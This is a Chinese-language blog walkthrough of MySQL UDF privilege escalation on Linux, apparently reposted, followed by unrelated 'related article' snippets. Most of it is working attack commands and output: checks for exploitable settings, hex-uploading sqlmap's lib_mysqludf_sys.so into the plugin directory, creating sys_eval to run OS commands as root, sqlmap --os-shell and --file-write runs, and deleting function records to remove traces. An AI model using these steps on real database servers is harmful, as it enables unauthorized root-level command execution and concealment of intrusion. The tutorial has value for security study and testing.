linux环境下的MySQL UDF提权

linux环境下的MySQL UDF提权

##1. 背景介绍

###UDF

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll.so,常用c语言编写。拿到一个WebShell之后,在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当MYSQL权限比较高的时候我们就可以利用udf提权。

###利用前提

  • mysql允许导入导出文件
  • 高权限用户启动,如root。该账号需要有对数据库mysql的insert和delete权限,其实是操作里面的func表,所以func表也必须存在。
  • 未开启‑‑skip‑grant‑tables。开启的情况下,UDF不会被加载,默认不开启。

实验环境

手工启动mysql,指定root启动:mysqld_safe --user=root。默认是mysql用户启动。

##2. 未GetShell的情况

适用情况:目标主机开启MySQL远程连接,并且已经获得MySQL数据库连接的用户名和密码信息

###2.1 手工提权

判断前提条件
  1. 查看是否允许导入导出文件

    mysql> show variables like "%secure_file_priv%";
    +------------------+-------+
    | Variable_name    | Value |
    +------------------+-------+
    | secure_file_priv |       |
    +------------------+-------+
    1 row in set (0.01 sec)
    

    这个参数(https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv)在MySQL数据库的安装目录的 my.ini 文件中配置,也可以作为启动参数。

    secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。

    当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
    当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

  2. 查看是否高权限

    mysql> select * from mysql.user where user = substring_index(user(), '@', 1) ;
    
  3. 查看plugin的值

    mysql> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
    +-----------+------+-----------------------+
    | host      | user | plugin                |
    +-----------+------+-----------------------+
    | localhost | root | mysql_native_password |
    +-----------+------+-----------------------+
    1 row in set (0.02 sec)
    

    plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。

上传udf库文件
  1. 获取plugin路径
mysql> show variables like "%plugin%";
+-------------------------------+--------------------------------------------+
| Variable_name                 | Value                                      |
+-------------------------------+--------------------------------------------+
| default_authentication_plugin | mysql_native_password                      |
| plugin_dir                    | /usr/local/Cellar/mysql/5.7.22/lib/plugin/ |
+-------------------------------+--------------------------------------------+
2 rows in set (0.02 sec)
  1. 获取服务器版本信息
mysql> show variables like 'version_compile_%';
+-------------------------+----------+
| Variable_name           | Value    |
+-------------------------+----------+
| version_compile_machine | x86_64   |
| version_compile_os      | osx10.13 |
+-------------------------+----------+
2 rows in set (0.01 sec)
  1. 准备udf库文件

需要选择对应的版本,否则会报错。

  • 从sqlmap获取

    sqlmap中有现成的udf文件。分别是32位和64位的。这里选择sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

    不过这里的so是异或过的,需要执行以下命令解密:

    cd sqlmap/extra/cloakpython3 cloak.py -d -i /security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
    

    此时会在相同目录生成解密后的lib_mysqludf_sys.so。

  • 从metasploit中获取

    在kali的/usr/share/metasploit-framework/data/exploits/mysql目录下找到相应的库即可。

    这个库和sqlmap解密后的一模一样。

  • 自行编译

​ 下载lib_mysqludf_sys

  1. 上传udf库文件

    1. 获取库文件的16进制

      ```
      

    这里的mysql交互命令行是本地的,随意开一个就行

    mysql> select hex(load_file(‘/security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so’)) into outfile ‘/tmp/udf.txt’;
    Query OK, 1 row affected (0.03 sec)
    ```

    1. 上传库文件
    # 这里的mysql交互命令行是目标数据库,7F454C46020打头的参数即/tmp/udf.txt的内容(注意去掉最后的换行)
    mysql> select unhex('7F454C46020...') into dumpfile '/usr/local/Cellar/mysql/5.7.22/lib/plugin/mysqludf.so';
    Query OK, 1 row affected (0.04 sec)
    

    上传库文件也可以通过临时表中转的方式,此处略。

创建函数
  1. 先在本地查看有哪些函数可用
nm -D lib_mysqludf_sys.sow _Jv_RegisterClasses
0000000000201788 A __bss_startw __cxa_finalizew __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _initU fgetsU forkU freeU getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_initU mallocU mmapU pcloseU popenU reallocU setenvU strcpyU strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_initU sysconfU systemU waitpid
  1. 创建sys_eval函数
mysql> create function sys_eval returns string soname "mysqludf.so";
Query OK, 0 rows affected (0.03 sec)
mysql>
  1. 函数操作
# 调用函数
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.03 sec)# 查看函数
mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name   | ret | dl     | type   |
+----------+-----+-------------+----------+
| sys_eval |  0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set# 删除函数(清除痕迹),如果要删除函数,必须udf文件还存在plugin目录下
drop function sys_eval;
或
delete from mysql.func where name='sys_eval';

2.2 利用sqlmap

####全自动化

sqlmap.py -d "mysql://root:root@172.20.10.9:3306/mysql" --os-shell...
[11:53:40] [INFO] connection to MySQL server '172.20.10.9:3306' established
[11:53:40] [INFO] testing MySQL
[11:53:40] [INFO] confirming MySQL
[11:53:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[11:53:40] [INFO] fingerprinting the back-end DBMS operating system
[11:53:40] [INFO] the back-end DBMS operating system is Linux
[11:53:40] [INFO] testing if current user is DBA
[11:53:40] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2
[11:53:45] [INFO] checking if UDF 'sys_exec' already exist
[11:53:45] [INFO] checking if UDF 'sys_eval' already exist
[11:53:50] [INFO] detecting back-end DBMS version from its banner
[11:53:50] [INFO] the local file '/var/folders/bx/zb9__nb1591g_r8k78p5p0gr0000gn/T/sqlmap_5_qd1_y51533/lib_mysqludf_sysp478pm69.so' and the remote file './libsoxbd.so' have the same size (8040 B)
[11:53:50] [INFO] creating UDF 'sys_exec' from the binary UDF file
[11:53:50] [INFO] creating UDF 'sys_eval' from the binary UDF file
[11:53:50] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[11:53:50] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]No output
os-shell>

没有得到执行结果,查看func表也没有udf记录,未找到原因。

####半自动化

  1. 获取plugin目录

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --sql-shell_____H_____ ___[']_____ ___ ___  {1.4.2.24#dev}
    |_ -| . [']     | .'| . |
    |___|_  [)]_|_|_|__,|  _||_|V...       |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 13:21:33 /2020-02-10/[13:21:34] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:21:34] [INFO] testing MySQL
    [13:21:34] [INFO] resumed: [['1']]...
    [13:21:34] [INFO] confirming MySQL
    [13:21:34] [INFO] resumed: [['1']]...
    [13:21:34] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:21:34] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
    sql-shell> select @@plugin_dir;
    [13:22:06] [INFO] fetching SQL SELECT statement query output: 'select @@plugin_dir'
    select @@plugin_dir [1]:
    [*] /usr/lib/x86_64-linux-gnu/mariadb18/plugin/sql-shell>
    

    得到plugin目录为/usr/lib/x86_64-linux-gnu/mariadb18/plugin/

  2. 上传lib_mysqludf_sys到plugin目录

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --file-write=/Users/simon/Downloads/lib_mysqludf_sys_64.so --file-dest=/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so_____H_____ ___[.]_____ ___ ___  {1.4.2.24#dev}
    |_ -| . ["]     | .'| . |
    |___|_  [(]_|_|_|__,|  _||_|V...       |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 13:28:35 /2020-02-10/[13:28:36] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:28:36] [INFO] testing MySQL
    [13:28:36] [INFO] resumed: [['1']]...
    [13:28:36] [INFO] confirming MySQL
    [13:28:36] [INFO] resumed: [['1']]...
    [13:28:36] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:28:36] [INFO] fingerprinting the back-end DBMS operating system
    [13:28:36] [INFO] resumed: [['0']]...
    [13:28:36] [INFO] the back-end DBMS operating system is Linux
    do you want confirmation that the local file '/Users/simon/Downloads/lib_mysqludf_sys_64.so' has been successfully written on the back-end DBMS file system ('/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so')? [Y/n][13:28:42] [INFO] the local file '/Users/simon/Downloads/lib_mysqludf_sys_64.so' and the remote file '/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so' have the same size (8040 B)
    [13:28:42] [INFO] connection to MySQL server '172.20.10.9:3306' closed[*] ending @ 13:28:42 /2020-02-10/
    
  3. 创建&执行函数

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --sql-shell_____H_____ ___[,]_____ ___ ___  {1.4.2.24#dev}
    |_ -| . [)]     | .'| . |
    |___|_  [)]_|_|_|__,|  _||_|V...       |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 13:32:23 /2020-02-10/[13:32:23] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:32:23] [INFO] testing MySQL
    [13:32:23] [INFO] resumed: [['1']]...
    [13:32:23] [INFO] confirming MySQL
    [13:32:23] [INFO] resumed: [['1']]...
    [13:32:23] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:32:23] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
    sql-shell> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'
    [13:34:56] [INFO] executing SQL data definition statement: 'create function sys_eval returns string soname 'lib_mysqludf_sys_64.so''
    create function sys_eval returns string soname 'lib_mysqludf_sys_64.so': 'NULL'
    sql-shell> select sys_eval('whoami');
    [13:35:59] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('whoami')'
    select sys_eval('whoami') [1]:
    [*] rootsql-shell>
    

    sqlmap中的udf文件提供的函数:

    sys_eval,执行任意命令,并将输出返回。

    sys_exec,执行任意命令,并将退出码返回。

    sys_get,获取一个环境变量。

    sys_set,创建或修改一个环境变量。

2.3 利用HackMySQL

以前叫Python_FuckMySQL,仅适用于目标系统为windows,故略。

https://github.com/T3st0r-Git/HackMySQL

https://github.com/v5est0r/Python_FuckMySQL

##3. GetShell的情况

适用情况:已经通过一句话木马等GetShell,并且得到了数据库用户名、密码。

###上传含udf提权功能的大马提权

手上的提权木马都是针对windows的,且都是php5。而实验环境是Kali+php7,故未实操。

文章可参考以下:

https://mp.weixin.qq.com/s/URPJPbmRixfWPKFDaX1qFA

http://zone.secevery.com/article/1096

###反弹shell

思路:通过getshell反弹shell后,在反弹回来的shell中连接mysql,然后进行手工提权。

结果:失败,在反弹回来的shell中无法成功连接mysql。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/3465.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LINUX基础培训三十之理论基础知识自测题(附答案)

一、单选题(50题) 1. Linux是一套类( )操作系统。 A、 POSIX B、 BSD C、 WINDOWS D、 UNIX 2. Linux系统中,所提供的安装软件包,默认格式为( )。 A、 .tar B、.tar.gz C、.rpm D、 .zip 3. Linux系统中,以下哪个是管道符( )。 A、| B、> …

Node.js -- 模块化

文章目录 1. 模块化介绍2. 模块化初体验3. 模块暴露数据4. 导入文件(夹)模块5. 导入模块的基本流程6. CommonJS 规范 这里是引用 1. 模块化介绍 之前我们所编写的文件都是单个文件,这就会出现一些问题: 变量不能重复命名;代码复用性差&…

2024年大数据应用、智能控制与软件工程国际会议(BDAICSE2024)

2024年大数据应用、智能控制与软件工程国际会议(BDAICSE2024) 会议简介 我们诚挚邀请您参加2024年大数据应用、智能控制和软件工程国际会议(BDAICSE2024)。这次会议将在美丽的长沙市举行。 本次大会旨在汇聚全球大数据应用、智能控制、软件工程等领…

【华为OD机试】生成哈夫曼树【C卷|100分】

【华为OD机试】-真题 !!点这里!! 【华为OD机试】真题考点分类 !!点这里 !! 题目描述 给定长度为 n 的无序的数字数组,每个数字代表二叉树的叶子节点的权值,数字数组的值均大于等于1。 请完成一个函数,根据输入的数字数组,生成哈夫曼树,并将哈夫曼树按照中序遍历输出。 …

云LIS系统概述JavaScript+前端框架JQuery+EasyUI+Bootstrap医院云HIS系统源码 开箱即用

云LIS系统概述JavaScript前端框架JQueryEasyUIBootstrap医院云HIS系统源码 开箱即用 云LIS(云实验室信息管理系统)是一种结合了计算机网络化信息系统的技术,它无缝嵌入到云HIS(医院信息系统)中,用于连…

[iOS]CocoaPods安装和使用

1.了解brew、rvm、ruby、gem、cocaspods之间的关系 在 macOS 环境中,Brew、RVM、Ruby、Gem 和 CocoaPods 之间存在以下关系: Homebrew (Brew):Homebrew 是 macOS 上的包管理器,用于安装和管理各种开源软件包。它使您能够轻松地从…

信息系统项目管理师0069:数据运维(5信息系统工程—5.2数据工程—5.2.3数据运维)

点击查看专栏目录 文章目录 5.2.3数据运维1.数据存储2.数据备份3.数据容灾4.数据质量评价与控制记忆要点总结5.2.3数据运维 数据开发利用的前提是通过合适的方式将数据保存到存储介质上,并能保证有效的访问,还要通过数据备份和容灾手段,保证数据的高可用性。数据质量管理是在…

Pytorch实用教程:Pytorch的nn.LSTM中参数的含义

文章目录 基本组成关键特性使用`nn.LSTM`的基本步骤注意事项Pytorch的nn.LSTM中参数的含义示例课外分享PyTorch的nn.LSTM模块是一个用于构建长短期记忆(LSTM)网络的类,它是一种特殊类型的循环神经网络(RNN),能够学习序列数据中的长期依赖关系。 LSTM网络被广泛用于时间序…

频裂变加群推广强制分享引流源码

视频裂变加群推广强制分享引流源码,用户达到观看次数后需要分享给好友或者群,好友必须点击推广链接后才会增加观看次数。 引导用户转发QV分享,达到快速裂变引流的效果! 视频裂变推广程序,强制分享链接,引导用户转发,…

场内股票期权和场外期权(附场内期权交易攻略)

期权是交易双方关于未来买卖权利达成的合约。 就股票期权来说,期权的买方(权利方)通过向卖方(义务方)支付一定的费用(即期权费或权利金),获得一种权利,即有权在约定的时间以约定的价格向期权卖方买入或卖出约定数量的标的股票或ETF。 买方(…

【SQL】SQL语句执行顺序

今天写一个相当基础的知识点,主要是之前对这块比较模糊,也没有细究,这次一并记录一下。 用一个例子说明SQL语句在逻辑执行计划时候的执行顺序,实际物理计划可能由于不同数据库优化策略的不同而略有差异。 例如,一个典型…

PyQt介绍——动画使用详解之QPropertyAnimation

一、继承关系 PyQt5的动画框架是QAbstractAnimation,它是一个抽象类,不能直接使用,需要使用它的子类。它的类结构如下: QAbstractAnimation:抽象动画,是所有动画的基类,不能直接使用。 QVariant…

Wi-Fi HaLow:重塑物联网的未来

Wi-Fi HaLow:引领物联网连接的革命 数字时代的蓬勃发展正在引发一场深刻的变革,物联网已经融入到我们的日常生活和工作中,成为不可或缺的一部分。随着新一代Wi-Fi技术一Wi-Fi HaLow的崭露头角,有望在2024年及未来,重新…

Mybatis 动态Sql标签使用总结

一、前言 常用的动态sql标签包括 if、choose(when、otherwise)、trim(where、set)、foreach。 二、标签介绍 2.1、if 标签 1、动态拼接查询条件 select DISTINCT ksid as id,ksdm as cd , ksmc as na ,id_org ,1 as fg_active,kspydm as py FROMV_CIS_RO_USERWHERE 11<…

数据结构 - 链表详解(二)—— 带头双向循环链表

链表的介绍 链表的结构一共有八种&#xff1a;带头单向循环链表、带头单向非循环链表、带头双向循环链表、带头双向非循环链表、无头单向循环链表、无头单向非循环链表、无头双向循环链表、无头双向非循环链表。 今天我们来详解带头双向循环链表 带头双向循环链表是一种数据结…

Flutter开发好用插件url_launcher详解-启动 URL

文章目录 url_launcher介绍安装用法错误处理自定义行为其他功能 url_launcher介绍 url_launcher 是一个 Flutter 插件&#xff0c;用于启动 URL。它支持网络、电话、短信和电子邮件方案。您可以使用它从您的 Flutter 应用程序中打开网站、拨打号码、发送短信或撰写电子邮件。 …

javaSE (七):异常

目录 一、Java 异常概述 1.异常概念 2.异常的抛出机制 3.如何对待异常 二、 java异常体系结构 1.Throwable 2. Throwable分类 三、常见的异常 1.Error 2.异常--运行时异常 四、异常处理 1.try 2.catch 3.finally 4.throws 5.throw 五、运行期异常和编译期异常…

commvault学习(6):备份oracle(包括oracle的安装)

1.环境 CS、MA&#xff1a;一台windows server2012 客户端&#xff1a;2台安装了oracle11g的windows server2008 1.1 windows server2008安装oracle11g &#xff08;1&#xff09;右击安装包内的setup&#xff0c;以管理员方式运行 &#xff08;2&#xff09;取消勾选接收安…

仿真-Carla初识-安装

仿真方面研究,希望掌握仿真技术 目录 前言1. Carla基本架构2.Carla安装2.1 Pre-comiled版本2.1.1 安装要求2.1.2 安装前言 学习参考文档: 1.小飞自动驾驶系列分享 1. Carla基本架构 Client-Server的交互形式:Carla主要分为Server与Client两个模块,Server端用来建立这个仿…

echarts柱形图实现2.5D

思路&#xff1a;使用markpoint option {title: {text: Rainfall vs Evaporation,subtext: Fake Data},tooltip: {trigger: axis},legend: {data: [Rainfall, Evaporation]},toolbox: {show: true,feature: {dataView: { show: true, readOnly: false },magicType: { show: t…